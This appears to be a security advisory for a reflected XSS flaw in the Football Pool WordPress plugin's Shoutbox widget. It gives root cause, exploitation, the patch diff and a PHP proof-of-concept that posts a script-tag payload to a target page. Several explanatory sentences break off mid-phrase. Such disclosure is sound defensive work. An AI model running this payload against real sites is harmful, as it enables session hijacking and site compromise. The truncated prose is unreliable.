Atomic Edge analysis of CVE-2026-8790:
This vulnerability is a reflected cross-site scripting (XSS) flaw in the Football Pool plugin for WordPress, affecting all versions up to and including 2.13.4. The issue resides in the Shoutbox widget, specifically in the `widget-football-pool-shoutbox.php` file. The vulnerability arises from improper handling of the `shouttext` POST parameter, which is echoed into a `
Root Cause:
The root cause is the unsafe rendering of the `shouttext` POST parameter within the Shoutbox widget’s form. In the vulnerable code, the value of `shouttext` is output inside a `
Exploitation:
An attacker can exploit this vulnerability by crafting a malicious POST request to a WordPress page that displays the Shoutbox widget. The request must include a `shouttext` parameter containing a payload, such as `alert(1)` or a more sophisticated payload to steal cookies or perform actions on behalf of the victim. For successful exploitation, the attacker must trick an authenticated user, preferably with at least Subscriber-level access, into submitting the crafted request. This can be achieved through social engineering, such as sending a link that triggers a form submission with the malicious payload. When the target submits the request, the widget processes the form, fails the validation (due to a missing or incorrect nonce), and echoes the payload back into the `
Patch Analysis:
The patch, introduced in version 2.13.5, addresses the vulnerability by adding output escaping to the `shouttext` value. Specifically, the `printf()` call now wraps the translated string and the `$unsaved_text` variable with `esc_attr()` and `esc_textarea()` functions, respectively. The `esc_attr()` function is used for the title attribute to prevent HTML injection, while `esc_textarea()` is applied to the textarea content to ensure that any special characters like “, and `&` are encoded, preventing the execution of injected scripts. This change ensures that the raw POST value cannot be rendered as executable HTML, thereby mitigating the XSS vulnerability. The patch correctly identifies the missing output escaping and applies WordPress’s built-in escaping mechanisms to secure the output.
Impact:
If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of an authenticated user’s browser. This can lead to a wide range of attacks, including stealing session cookies, capturing keystrokes, performing actions on behalf of the victim (such as modifying content or settings), and potentially escalating privileges if the victim has administrative rights. Since the attacker can target any authenticated user who visits a page with the Shoutbox widget, the impact is not limited to low-privilege users; even administrators could be affected if tricked into submitting the crafted request. The ability to execute scripts in the admin context could result in full site compromise, as the attacker could create rogue admin accounts, inject backdoors, or exfiltrate sensitive data.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/football-pool/football-pool.php
+++ b/football-pool/football-pool.php
@@ -32,10 +32,10 @@
* Domain Path: /languages
* Requires at least: 5.3
* Requires PHP: 7.4
- * Version: 2.13.4
+ * Version: 2.13.5
*/
-const FOOTBALLPOOL_DB_VERSION = '2.13.4';
+const FOOTBALLPOOL_DB_VERSION = '2.13.5';
if ( wp_doing_cron() ) {
// Let's not load Football Pool during cron events.
--- a/football-pool/widgets/widget-football-pool-shoutbox.php
+++ b/football-pool/widgets/widget-football-pool-shoutbox.php
@@ -136,10 +136,12 @@
onkeyup="FootballPool.update_chars( this.id, %d )" title="%s">%s</textarea>',
$id,
$max_chars,
- sprintf( __( 'all text longer than %s characters will be removed!', 'football-pool' ),
- $max_chars
+ esc_attr(
+ sprintf( __( 'all text longer than %s characters will be removed!', 'football-pool' ),
+ $max_chars
+ )
),
- $unsaved_text
+ esc_textarea( $unsaved_text )
);
if ( $save_result === false ) {
echo '<span class="notice error">';
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8790 - Authenticated (Subscriber+) Reflected Cross-Site Scripting via Shoutbox widget
/**
* PoC for CVE-2026-8790
*
* This script demonstrates a reflected XSS attack against the Football Pool plugin's Shoutbox widget.
* It sends a crafted POST request to a page containing the Shoutbox widget, with a XSS payload in the "shouttext" parameter.
* The request intentionally omits the nonce, causing the widget to echo the payload without escaping.
*
* Usage: php cve-2026-8790-poc.php <target_page_url>
* Example: php cve-2026-8790-poc.php 'http://example.com/football-pool-shoutbox-page/'
*/
// Configuration
$target_url = isset($argv[1]) ? $argv[1] : 'http://your-wordpress-site.com/page-with-shoutbox/';
// XSS payload to inject
$payload = '<script>alert("XSS");</script>';
// Initialize cURL
$ch = curl_init();
// Set cURL options
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'shouttext' => $payload,
// Note: No nonce is submitted, triggering the vulnerable code path.
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEFILE => 'cookies.txt', // Use a file for session cookies if needed
CURLOPT_COOKIEJAR => 'cookies.txt',
]);
// Execute the request and capture the response
$response = curl_exec($ch);
// Check for errors
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch) . PHP_EOL;
curl_close($ch);
exit(1);
}
curl_close($ch);
// Check if the payload is reflected unescaped in the response
if (strpos($response, '<script>alert("XSS");</script>') !== false) {
echo "[+] Vulnerability confirmed: XSS payload reflected without escaping.n";
} else {
echo "[-] Payload not reflected or escaped. Vulnerability may be patched.n";
}